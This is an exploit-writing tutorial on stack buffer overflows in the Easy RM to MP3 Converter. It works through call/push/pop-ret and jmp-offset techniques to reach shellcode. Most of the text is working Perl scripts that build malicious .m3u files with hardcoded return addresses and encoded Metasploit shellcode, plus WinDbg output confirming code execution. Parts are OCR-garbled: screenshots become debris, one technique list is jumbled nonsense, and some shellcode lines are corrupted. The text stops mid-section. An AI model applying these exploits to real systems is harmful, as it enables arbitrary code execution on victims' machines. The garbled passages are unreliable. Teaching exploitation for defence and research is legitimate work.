



:: Knowledge is not an object, it's a flow ::

Exploit writing tutorial part 2 : Stack Based Overflows - jumping to shellcode

Corelan Team (corelanc0d3r) · Thursday, July 23rd, 2009

Where do you want to jmp today ?

In one of my previous posts (part 1 of writing stack based buffer overflow exploits), I have explained the basisc about discovering a vulnerability and using that information to build a working exploit. In the example I have used in that post, we have seen that ESP pointed almost directly at the begin of our buffer (we only had to prepend 4 bytes to the shellcode to make ESP point directly at the shellcode), and we could use a "jmp esp" statement to get the shellcode to run.

Note : This tutorial heavily builds on part 1 of the tutorial series, so please take the time to fully read and understand part 1 before reading part 2.

The fact that we could use "jmp esp" was an almost perfect scenario. It's not that 'easy' every time. Today I'll talk about some other ways to execute/jump to shellcode, and finally about what your options are if you are faced with small buffer sizes.

There are multiple methods of forcing the execution of shellcode.

- There are multiple methods of forcing the execution of shellcode.
 jump (or call) a register that points to the shellcode. With this technique, you basically use a register that contains the address where the shellcode resides and put that address in EIP. You try to find the opcode of a "jump" or "call" to that register in one of the dll is that is loaded when the application runs. When crafting your payload, instead of overwriting EIP with an address in memory, you need to overwrite EIP with the address of the "jump to the register". Of course, this only works if one of the available registers contains an address that points to the shellcode. This is how we managed to get our exploit to work in part 1, so I'm not going to discuss this technique in this post anymore.
 pop return: If none of the registers point directly to the shellcode, but you can see an address on the stack (first, second, ... address on the stack) that points to the shellcode, then you can load that value into EIP by first putting a pointer to pop ret, or pop pop ret, or pop pop ret (all depending on the location of where the address is found on the stack) into EIP.
 push return: I'm is method is only slightly different than the "call register" technique. If you cannot find a <jump register> or <call register> opcode anywhere, you could simply put the address on the stack and then do a ret. So you basically try to find a push <register>, followed by a ret. Find the opcode for this sequence, find an address in the points to the very to find an instruction in one of the OS or application dl's, which will add the required bytes to the register and then jumps to the register. I'll refer to this method as imp (register) for sum and ESP not find a test is condation by or you very register and then jumps to the register. I'll refer to this method as imp (register) for the savalue of you overwrite EIP with the address that walue (Abytes) from the stack and will put that address in ESP. So if you overwrite the EIP wit

The techniques explained in this document are just examples. The goal of this post is to explain to you that there may be various ways to jump to your shellcode, and in other cases there may be only one (and may require a combination of techniques) to get your arbitrary code to run.

There may be many more methods to get an exploit to work and to work reliably, but if you master the ones listed here, and if you use your common sense, you can find a way around most issues when trying to make an exploit jump to your shellcode. Even if a technique seems to be working, but the shellcode doesn't want to run, you can still play with shellcode encoders, move shellcode a little bit further and put some NOP's before the shellcode... these are all things that may help making your exploit work.

Of course, it is perfectly possible that a vulnerability only leads to a crash, and can never be exploited.

Let's have a look at the practical implementation of some of the techniques listed above.

call [reg]

If a register is loaded with an address that directly points at the shellcode, then you can do a call [reg] to jump directly to the shellcode. In other words, if ESP directly points at the shellcode (so the first byte of ESP is the first byte of your shellcode), then you can overwrite EIP with the address of "call esp", and the shellcode will be executed. This works with all registers and is quite popular because kernel32.dll contains a lot of call [reg] addresses. Quick example : assuming that ESP points to the shellcode : First, look for an address that contains the 'call esp' opcode. We'll use findjmp :

findjmp.exe kernel32.dll esp

```
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C836A08 call esp
0x7C874413 jmp esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses
```

Next, write the exploit and overwrite EIP with 0x7C836A08.



From the Easy RM to MP3 example in the first part of this tutorial series, we know that we can point ESP at the beginning of our shellcode by adding 4 characters between the place where EIP is overwritten and ESP. A typical exploit would then look like this :

my \$file= "test1.m3u"; my \$junk= "A" x 26094; my seip = pack(V', 0x7C836A08); #overwrite EIP with call esp my \$prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes my \$shellcode = "\x90" x 25; #start shellcode with some NOPS # windows/exec - 303 bytes
http://www.metasploit.com
Encoder: x86/alpha_upper
EXITFUNC=seh, CMD=calc

open(\$FILE,">\$file"); print_\$FILE,\$junk.\$eip.\$prependesp.\$shellcode; close(\$FILE);
print "m3u File Created successfully\n"; print

Le commune	a - ma 3586 -	witerogram	1000011	404 M	2			
ModLoad:	77640000	77e6b000	C:	NUM	0095	syste	a 32NA	DVAPI32.d
ModLoad	77e70000	77102000	Č:	VAIN	DOWS-	syste	a32\R	PCRT4.dl1
ModLoad	77fe0000	77ff1000						ecur32.dl
ModLoad	77£10000	77£59000	Č:	VAIN	DOWS-	syste	m32\G	DI32.dl1
ModLoad:	7e410000	7e4a1000						SER32.d11
ModLoad	00330000	00339000	C :	VIN	DOWS	syste	n32\N	oraaliz.d
ModLoad:	78000000	78045000	C :	NUM	DOVSN	syste	a32\i	ertutil.d.
ModLoad	77c00000	77c08000	Ć:	VAIN	0095	syste	a32NV	ERSION d1
ModLoad:	73440000	73ece000	C :	VAIN	0095	syste	a32NH	FC42.DLL
ModLoad:	763b0000	76319000	C :	ZAIN1	DOWS	syste	a32'-o	oadlg32.d
ModLoad:	5d090000	Colcula					1012	pCTL32.d.
ModLoad:	7c9c0000	/					كالتنتع	
ModLoad	76080000	7 Edit View	r Help					PCP60.d1
ModLoad:	76540000	2		_	_	_	-	SMM.d11
ModLoad:	76390000	2					Q,	\$32.DLL
ModLoad:	773d0000	2 '						ficrosof
ModLoad:	74720000	7			-			CTF.d11
ModLoad	755c0000	7	Backsp	100	30		C	ptfine.i
ModLoad	774e0000	7		_	_	_		p32.dl1
ModLoad	10000000	1 MC	7			1	agt	RM to MP
ModLoad	71ab0000	7	· ·	•	-		-	2_32.dl1
ModLoad	71aa0000	2 - 1		-		(PHELP.dl
ModLoad	00ce0000	0 MR	4	5	6		2	RM to MP
ModLoad:	01a90000	0	_	_	_	_	_	Of to MP.
ModLoad:	00c80000	9 MS		2	3		1.0	RM to MP
ModLoad	01b10000	Ų						RM to MP
ModLoad:	01fe0000	0	_					FCIRT.dl
ModLoad	77120000	7 M+	0	-A/-			•	EAUT32.d
ModLoad	02200000	0	_		_	_		RM to MP
ModLoad	73000000	7-0010000	- V.				875.18	
ModLoad:	02240000	02250000		Pro			Easy	
ModLoad	02460000	02472000		Pro			Easy	
ModLoad	76ee0000	76f1c000						ASAPI32.d
ModLoad	76e90000	76ea2000	C:			syste		asaan d11
Mad Tand	FLD/ OODD	FLOR FORE			DOLES TO A			TTADA A

pwned !

pop ret

As explained above, In the Easy RM to MP3 example, we have been able to tweak our buffer so ESP pointed directly at our shellcode. What if there is not a single register that points to the shellcode ?

Well, in this case, an address pointing to the shellcode may be on the stack. If you dump esp, look at the first addresses. If one of these addresses points to your shellcode (or a buffer you control), then you can find a pop ret or pop pop ret (nothing to do with SEH based exploits here) to - take addresses from the stack (and skip them)

- jump to the address which should bring you to the shellcode.

The pop ret technique obviously is only usabled when ESP+offset already contains an address which points to the shellcode... So dump esp, see if one of the first addresses points to the shellcode, and put a reference to pop ret (or pop pop ret or pop pop pop ret) into EIP. This will take some address from the stack (one address for each pop) and will then put the next address into EIP. If that one points to the shellcode, then you win.

There is a second use for pop ret : what if you control EIP, no register points to the shellcode, but your shellcode can be found at ESP+8. In that case, you can put a pop pop ret into EIP, which will jump to ESP+8. If you put a pointer to jmp esp at that location, then it will jump to the shellcode that sits right after the jmp esp pointer.

Let's build a test case. We know that we need 26094 bytes before overwriting EIP, and that we need 4 more bytes before we are at the stack address where ESP points at (in my case, this is 0x000ff730).

We will simulate that at ESP+8, we have an address that points to the shellcode. (in fact, we'll just put the shellcode behind it - again, this is just a test

26094 A's, 4 XXXX's (to end up where ESP points at), then a break, 7 NOP's, a break, and more NOP's. Let's pretend the shellcode begins at the second break. The goal is to make a jump over the first break, right to the second break (which is at ESP+8 bytes = 0x000ff738).

my \$file= "test1.m3u"; my \$junk= "A" x 26094; my \$eip = "BBBB"; #overwrite EIP my \$prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes



```
my $shellcode = "\xcc"; #first break
$shellcode = $shellcode . "\x90" x 7; #add 7 more bytes
$shellcode = $shellcode . "\xcc"; #second break
$shellcode = $shellcode . "\x90" x 500; #real shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
```

Let's look at the stack : Application crashed because of the buffer overflow. We've overwritten EIP with "BBBB". ESP points at 000ff730 (which starts with the first break), then 7 NOP's, and then we see the second break, which really is the begin of our shellcode (and sits at address 0x000ff738).

eax=00000 eip=42424 cs=001b Missing i Missing i <unloadec 42424242 0:000> d</unloadec 	242 ss=0 .mage .mage .mage I_P32 ??	esp 902 e na e na e na	o=00 ame, ame, ame,	00f1 ds=0 , pc , pc	f730 0023 0551 0551) ek 3 e ible ible ible	op=(es=(e pa e pa e pa 31:	0034420 0023 aged - 00 aged - 00	00 : fs=0 ut 0 ut 0	iop 9031 or (or (l=0 cori	gs=(rup† rup†	0000 t da t da	r Ətal ətal	יע u יייי	c5fce0 edi=000067fa p ei pl nz na pe nc efl=00000206
000ff730 000ff740		90 90	90 90	90 90	90 90	90 90	90 90		90 90	90 90	90 90		90 90		90 90	
000ff750 000ff760	90 90	90	90 90	90 90	90	90 90	90 90		90 90	90 90	90 90	90	90 90		90 90	
000ff770 000ff780	90 90	90 90	90 90	90 90	90 90	90 90	90 90	90-90	90 90	90 90	90 90	90 90	90 90	90 90	90 90	
000ff790 000ff7a0	90 90		90 90			90 90	90 90		90 90		90 90	90 90	90 90	90 90	90 90	
0:000> d	000-	ff7?	38													
000ff738	CC	90	90	90	90	90	90	90-90	90	90	90	90	90	90	90	
000ff748		90	90	90	90	90	90	90-90	90	90	90		90	90	90	
000ff758 000ff768	90 90	90 90	90 90	90 90	90 90	90 90	90 90	90-90 90-90	90 90	90 90	90 90	90 90	90 90	90 90	90 90	
000ff778	90	90	90	90	90	90	90	90-90	90	90	90	90	90	90	90	
000ff788	90	90	90	90	90	90	90	90-90	90	90	90	90	90	90	90	
000ff798	90	90	90	90		90	90		90	90	90		90	90	90	
000ff7a8	90	90	90	90	90	90	90	90-90	90	90	90	90	90	90	90	

The goal is to get the value of ESP+8 into EIP (and to craft this value so it jumps to the shellcode). We'll use the pop ret technique + address of jmp esp to accomplish this. One POP instruction will take 4 bytes off the top of the stack. So the stack pointer would then point at 000ff734. Running another pop instruction would take 4 more bytes off the top of the stack. ESP would then point to 000ff738. When we a "ret" instruction is performed, the value at the current address of ESP is put in EIP. So if the value at 000ff738 contains the address of a jmp esp instruction, then that is what EIP would do. The buffer after 000ff738 must then contains our shellcode.

We need to find the pop,pop,ret instruction sequence somewhere, and overwrite EIP with the address of the first part of the instruction sequence, and we must set ESP+8 to the address of jmp esp, followed by the shellcode itself.

First of all, we need to know the opcode for pop pop ret. We'll use the assemble functionality in windbg to get the opcodes :

0:000> a 7c90120e	pop eax				
pop eax 7c90120f	pop ebp				
pop ebp 7c901210					
ret 7c901211					
	7-00120-				
0:000> u ntdll!Dbc	BreakPoint:				
7c90120e 7c90120f		рор	eax		
7c901201		pop ret	ebp		
7c901211 7c901213		dec	esp		
7c901213		ret mov	edi,edi		
7c901216 7c90121a		mov int	eax,dword	ptr	[esp+4]
10301210		THE	5	_	

so the pop pop ret opcode is $0 \times 58,0 \times 5d,0 \times c3$

Of course, you can pop to other registers as well. These are some other available pop opcodes :

pop register	<u>opcode</u>
pop eax	58
pop ebx	5b
pop ecx	59
pop edx	5a
pop esi	5e
pop ebp	5d

Now we need to find this sequence in one of the available dll's. In part 1 of the tutorial we have spoken about application dll's versus OS dll's. I guess it's recommended to use application dll's because that would increase the chances on building a reliable exploit across windows platforms/versions... But you still need to make sure the dll's use the same base addresses every time. Sometimes, the dll's get rebased and in that scenario it could be better to use one of the os dll's (user32.dll or kernel32.dll for example)

Open Easy RM to MP3 (don't open a file or anything) and then attach windbg to the running process.

Windbg will show the loaded modules, both OS modules and application modules. (Look at the top of the windbg output, and find the lines that start with ModLoad).

These are a couple of application dll's

ModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll ModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll ModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll



dLoad:	01b10000	01fdd000	C:\Program	Files\Easy	RM to	MP3	Converter\MSRMCcodec02.dll

you can show the image base of a dll by running dumpbin.exe (from Visual Studio) with parameter /headers against the dll. This will allow you to define the lower and upper address for searches.

You should try to avoid using addresses that contain null bytes (because it would make the exploit harder... not impossible, just harder.) A search in MSRMCcodec00.dll gives us some results :

0:014> s 01a90000 l 01b01000 58 5d c3 01ab6a10 58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc X].3.].U..QQ.E. 01ab8da3 58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c X]..M.e..Qj..5l 01ab9d69 58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00 X].j...j.....

Ok, we can jump to ESP+8 now. In that location we need to put the address to jmp esp (because, as explained before, the ret instruction will take the address from that location and put it in EIP. At that point, the ESP address will point to our shellcode which is located right after the jmp esp address... so what we really want at that point is a jmp esp)

From part 1 of the tutorial, we have learned that 0x01ccf23a refers to jmp esp.

Ok, let's go back to our perl script and replace the "BBBB" (used to overwrite EIP with) with one of the 3 pop,pop,ret addresses, followed by 8 bytes (NOP) (to simulate that the shellcode is 8 bytes off from the top of the stack), then the jmp esp address, and then the shellcode. The buffer will look like this :

[AAAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode] IMP FSP 26094 A's FTP 8 bytes offset (=POPPOPRET)

The entire exploit flow will look like this : 1 : EIP is overwritten with POP POP RET (again, this example has nothing to do with SEH based exploits. We just want to get a value that is on the stack into EIP). ESP points to begin of 8byte offset from shellcode 2 : POP POP RET is executed. EIP gets overwritten with 0x01ccf23a (because that is the address that was found at ESP+0×8). ESP now points to shellcode. 3 : Since EIP is overwritten with address to jmp esp, the second jump is executed and the shellcode is launched.

	[AAAAAAAAAAAAA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode] 26094 A's EIP 8 bytes offset JMP ESP (=POPPOPRET) (2) ESP now points here (2)
We'	ll simulate this with a break and some NOP's as shellcode, so we can see if our jumps work fine.
	my \$file= "test1.m3u"; my \$junk= "A" x 26094;
	my \$eip = pack('V',0x0lab6al0);
	my \$prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes my \$shellcode = "\x90" x 8; #add more bytes \$shellcode = \$shellcode . \$jmpesp; #address to return via pop pop ret (= jmp esp) \$shellcode = \$shellcode . "\xcc" . "\x90" x 500; #real shellcode
	open(\$FILE,">\$file"); print \$FILE \$junk.\$eip.\$prependesp.\$shellcode; close(\$FILE); print "m3u File Created successfully\n";

(d08.384): Break instruction exception - code 800000003 (!!! second chance !!!)
eax=9090909 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe
eip=000ff73c esp=000ff73c ebp=90909090 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data. esp cc 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90
 90< 90 90 90 90 90 90 000ff75c 000ff76c 90 90 90 90 000ff77c 000ff78c 000ff79c 90 90 90 90 000ff7ac 90 90 90

Cool. that worked. Now let's replace the NOPs after jmp esp (ESP+8) with real shellcode (some nops to be sure + shellcode, encoded with alpha_upper) (execute calc):

my \$file= "test1.m3u";
my \$junk= "A" x 26094; my \$prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes my \$shellcode = "\x90" x 8; #add more bytes \$shellcode = \$shellcode . \$jmpesp; #address to return via pop pop ret (= jmp esp)



<pre>\$shellcode = \$shellcode . "\x90" x 50; #real shellcode</pre>
windows/exec - 303 bytes
<pre># http://www.metasploit.com # Encoder: x86/alpha upper</pre>
EXITENCE: A COLA CHILA
<pre>\$shellcode = \$shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .</pre>
"\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x41"
"\x42\x41\x41\x41\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" . "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x45\x51\x4a\x4f\x4c" .
\x4c\x4c\x4c\x4b\x4b\x4b\x4b\x5b\x5b\x4b\x5b\x4b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5b\x5
\\^5\\^5\\^5\\^4\\^5\\X4\\X41\X41\X41\X43\X31\X4a\X42\X50" -
"\x31\x49\x50\x4c\x59\x4e\x4c\x44\x49\x50\x44\x43"
"\x37\x49\x51\x49\x5a\x44\x44\x44\x43\x31\x49\x52\x4a\x4b\x4a"
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" . "\x4b\x45\x4c\x4c\x4c\x4b\x45\x51\x4a\x4b\x59\x51\x4c\x47" .
\x4U\x42\x42\x42\x43\x51\x41\x43\x51\x4f\x40\x51\x40\x40\x59\x6\x43\x50\x50\x50\
_54\\x45\\x34\\x45\\x34\\x45\\x34\\x45\\x36\\x50\\x30\\x30\\x45\\x51\\x50\\x44' -
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x42"
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
<pre>open(\$FILE,">\$file");</pre>
print \$FILE \$junk.\$eip.\$prependesp.\$shellcode;
close(\$FILE);
print`"m3u File Created successfully\n";



pwned !

push return

push ret is somewhat similar to call [reg]. If one of the registers is directly pointing at your shellcode, and if for some reason you cannot use a jmp [reg] to jump to the shellcode, then you could

put the address of that register on the stack. It will sit on top of the stack.
ret (which will take that address back from the stack and jump to it)

In order to make this work, you need to overwrite EIP with the address of a push [reg] + ret sequence in one of the dll's.

Suppose the shellcode is located directly at ESP. You need to find the opcode for 'push esp' and the opcode for 'ret' first

0:000> a 000ff7ae	push esp		
push esp 000ff7af ret	ret		
0:000> u <unloadec 000ff7ae 000ff7af</unloadec 	1_P32.dll>+0 54	xff79d: push ret	esp

opcode sequence is 0×54,0xc3 Search for this opcode :

0:000> s 0	1a9000	90 l	01df	f000) 54	4 c3								
						90-90								TD\$
01b31d88	54 c3	fe	ff 85	с0	74	5d-53	8b	5c	24	30	57	8d	4c	Tt]S.\\$0W.L
01b5cd65	54 c3	8b	87 33	05	00	00-83	f8	06	0f	85	92	01	00	ТЗ
01b5cf2f !	54 c3	8b -	4c 24	58	8b	c6-5f	5e	5d	5b	64	89	0d	00	TL\$X ^][d
	54 c3	90	90 90	90	90	90-90	90	90	90	8a	81	da	04	Т
01bbbb3e	54 c3	8b -	4c 24	50	5e	33-c0	5b	64	89	0d	00	00	00	TL\$P^3.[d
01bbbb51	54 c3	90	90 90	90	90	90-90	90	90	90	90	90	90	6a	Тј
01bf2aba	54 c3	0c	8b 74	24	20	39-32	73	09	40	83	c2	08	41	Tt\$ 92s.@Å
						8b-4c								TL\$T^][d.
						00-00								Tdj.h;.
						44-24								TD\$Ĺ\$T
						14-7a								T=8.zR
						2f-32								TMh/2V
						2f-32								TMh/2V
						2f-32								TMh/2V
						b3-83								Τ:
						e7-54								TL;CT6c
01d7452e	54 c3	CC .	36 bb	c3	f8	63-3b	44	d8	00	d1	43	f5	f3	T6c;DC

FEAN 01d74b26 54 c3 ca 63 f0 c2 f7 86-77 42 38 98 92 42 7e 1d T..c....wB8..B~. 54 c3 f6 ff 54 c3 f6 ff-4f bd f0 ff 00 6c 9f ff T...T...0....l.. 54 c3 f6 ff 4f bd f0 ff-00 6c 9f ff 30 ac d6 ff T...0...l.0... 031d3b18 031d3b1c

Craft your exploit and run :

CORELAN

my \$file= "test1.m3u"; my \$junk= "A" x 26094; my \$eip = pack('V',0x01aa57f6); #overwrite EIP with push esp, ret my \$prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes my \$shellcode = "\x90" x 25; #start shellcode with some NOPS # windows/exec - 303 bytes
http://www.metasploit.com
Encoder: x86/alpha_upper # EXITFUNC=seh, CMD=calc # EXITFUNC=seh, CMD=calc \$shellcode = \$shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x42" . "\x42\x41\x41\x42\x54\x41\x41\x51\x52\x41\x42\x32\x42\x42" . "\x30\x42\x58\x50\x38\x41\x43\x53\x44\x43\x32\x42\x42\x42" . "\x40\x50\x44\x43\x30\x43\x30\x45\x50\x42\x42\x42" . "\x42\x54\x41\x41\x43\x43\x43\x43\x43\x43\x43\x43\x47\x35\x47" . "\x44\x50\x44\x43\x30\x43\x43\x43\x43\x48\x45\x51\x44\x47\x50\x43\x31\x44" . "\x4b\x50\x4f\x42\x58\x42\x48\x45\x51\x4f\x47\x50\x43\x31\x44" . "\x4b\x50\x4f\x40\x50\x4c\x40\x51\x4f\x47\x50\x43\x31\x44" . "\x37\x49\x50\x4c\x4b\x45\x51\x44\x40\x50\x43\x31\x44" . "\x42\x50\x4b\x45\x51\x44\x40\x43\x31\x44\x40\x55\x4b\x42" . "\x4b\x51\x4f\x4b\x51\x44\x40\x51\x4f\x47\x50\x43\x41\x41" . "\x4b\x51\x4f\x4b\x51\x44\x40\x51\x4f\x40\x55\x4b\x46\x44 " . "\x4b\x51\x4f\x4b\x51\x44\x40\x43\x31\x44\x40\x55\x4b\x44" . "\x4c\x50\x4b\x4b\x45\x51\x4a\x4b\x42\x55\x4b\x4b\x42" . "\x4b\x51\x4f\x4b\x51\x4f\x45\x51\x4a\x4b\x42\x55\x4b\x4b\x42" . "\x4b\x51\x4f\x4b\x51\x4f\x45\x51\x4a\x4b\x42\x55\x4b\x4b\x44" . "\x4c\x50\x4b\x4b\x41\x51\x4f\x45\x51\x4a\x4b\x42\x55\x4b\x4b\x42" . "\x4b\x51\x4f\x4b\x41\x43\x51\x4f\x45\x51\x4a\x4b\x4b\x42" . "\x4b\x51\x4f\x4b\x41\x43\x51\x4f\x4b\x4d\x59\x51\x4a\x4b\x4d\x59\x50\x4d\x44" . "\x4b\x51\x4f\x4b\x4b\x41\x51\x4f\x4b\x4d\x59\x51\x4a\x4b\x4b\x42" . "\x4b\x51\x4f\x4b\x4b\x4d\x51\x4f\x4b\x4d\x59\x51\x4a\x4b\x4d\x59\x50\x4d\x44" . "\x4b\x51\x4f\x4b\x4b\x4d\x55\x4d\x4d\x59\x51\x4a\x4b\x4d\x59\x50\x4d\x4d\x4d\x4d\x59\x50\x4d\x4d\x4d\x59\x50\x4d\x4d\x59\x50\x4d\x4d\x59\x50\x4d\x4d\x59\x4d\x4d\x59\x50\x4d\x4d\x59\x50\x4d\x4d\x59\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x4d\x50\x50\x4d\x50\x4d\x50\x50\x4d\x50\x4d\x50\x50\x4d\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\x4d\x50\x50\ open(\$FILE,">\$file");
print \$FILE \$junk.\$eip.\$prependesp.\$shellcode;
close(\$FILE);
print "m3u File Created successfully\n";

2_ Cor	nmand	- Pid 3	516 - W	ñnDbgd	6.11.00	001,404	X86							
Mox	Calcu	ator				- O ×	DOWS							
	dit Vier						DOWS V							
Mox 0, DO														
Mox U. DO Mox DO														
No contract of D														
Mox		Backs	pace	CE		C	DOWS							
Mox Mox					—	L . I	DOWS V							
Mox _	MC		8	9	1	sqrt	DOWS							
Mox	MR		5	6		x	DOWS							
Mox -	MIN	_	•	<u> </u>		_	DOWS							
Mox	MS	1	2	3		1/x	DOWS							
Mox _		<u> </u>	_	<u> </u>			DOWS V							
Mox Mox	M+	0	+/-				DOWS							
Mox -			_	_	_		DOWS							
Modil		10000		1ac70			NDOWS							

71ac7000

pwned again !

jmp [reg]+[offset]

Another technique to overcome the problem that the shellcode begins at an offset of a register (ESP in our example) is by trying to find a jmp [reg + offset] instruction (and overwriting EIP with the address of that instruction). Let's assume that we need to jump 8 bytes again (see previous exercise). Using the jmp reg+offset technique, we would simply jump over the 8 bytes at the beginning of ESP and land directly at our shellcode. We need to do 3 things :

find the opcode for jmp esp+8h
find an address that points to this instruction
craft the exploit so it overwrites EIP with this address

https://www.corelan.be

Finding the opcode : use windbg :

0:014> a 7c90120e jmp [esp + 8] jmp [esp + 8] 7c901212 0:014> u 7c90120e ntdll!DbgBreakPoint: 7c90120e ff642408 jmp dword ptr [esp+8]

The opcode is ff642408

Now you can search for a dll that has this opcode, and use the address to overwrite EIP with. In our example, I could not find this exact opcode anywhere. Of course, you are not limited to looking for jmp [esp+8]... you could also look for values bigger than 8 (because you control anything above 8... you could easily put some additional NOP's at the beginning of the shellcode and make the jump into the nop's... (by the way: Opcode for ret is c3. But I'm sure you've already figured that our for yourself)



This technique is based on the following 2 steps:

- Overwrite EIP with an address pointing to a ret instruction
 Hardcode the address of the shellcode at the first 4 bytes of ESP
 When the ret is execute, the last added 4 bytes (topmost value) are popped from the stack and will be put in EIP

Exploit jumps to shellcode

So this technique is useful if

• you cannot point EIP to go a register directly (because you cannot use jmp or call instructions. (This means that you need to hardcode the memory address of the start of the shellcode), but • you can control the data at ESP (at least the first 4 bytes)

In order to set this up, you need to have the memory address of the shellcode (= the address of ESP). As usual, try to avoid that this address starts with / contains null bytes, or you will not be able to load your shellcode behind EIP. If your shellcode can be put at a location, and this location address does not contain a null byte, then this would be another working technique.

Find the address of a 'ret' instruction in one of the dll's.

Set the first 4 bytes of the shellcode (first 4 bytes of ESP) to the address where the shellcode begins, and overwrite EIP with the address of the 'ret' instruction. From the tests we have done in the first part of this tutorial, we remember that ESP seems to start at 0x000ff730. Of course this address could change on different systems, but if you have no other way than hardcoding addresses, then this is the only thing you can do.

This address contains null byte, so when building the payload, we create a buffer that looks like this :

[26094 A's][address of ret][0x000fff730][shellcode]

The problem with this example is that the address used to overwrite EIP contains a null byte. (= string terminator), so the shellcode is not put in ESP. This is a problem, but it may not be a showstopper. Sometimes you can find your buffer (look at the first 26094 A's, not at the ones that are pushed after overwriting EIP, because they will be unusable because of null byte) back at other locations/registers, such as eax, ebx, ecx, etc... In that case, you could try to put the address of that register as the first 4 bytes of the shellcode (at the beginning of ESP, so directly after overwriting EIP), and still overwrite EIP with the address of a 'ret' instruction.

This is a technique that has a lot of requirements and drawbacks, but it only requires a "ret" instruction... Anyways, it didn't really work for Easy RM to MP3.

Dealing with small buffers : jumping anywhere with custom jumpcode

We have talked about various ways to make EIP jump to our shellcode. In all scenario's, we have had the luxury to be able to put this shellcode in one piece in the buffer. But what if we see that we don't have enough space to host the entire shellcode ?

In our exercise, we have been using 26094 bytes before overwriting EIP, and we have noticed that ESP points to 26094+4 bytes, and that we have plenty of space from that point forward. But what if we only had 50 bytes (ESP -> ESP+50 bytes). What if our tests showed that everything that was written after those 50 bytes were not usable ? 50 bytes for hosting shellcode is not a lot. So we need to find a way around that. So perhaps we can use the 26094 bytes that were used to trigger the actual overflow.

First, we need to find these 26094 bytes somewhere in memory. If we cannot find them anywhere, it's going to be difficult to reference them. In fact, if we can find these bytes and find out that we have another register pointing (or almost pointing) at these bytes, it may even be quite easy to put our shellcode in there.

If you run some basic tests against Easy RM to MP3, you will notice that parts of the 26094 bytes are also visible in the ESP dump :

```
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "X" x 54;
my $nop = "\x90" x 230; #add
                                              '= "X" x 54; <code>#let's</code> pretend this is the only space we have available x 230; <code>#added</code> some nops to visually separate our 54 X's from other data
 open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";
```

After opening the test1.m3u file, we get this :

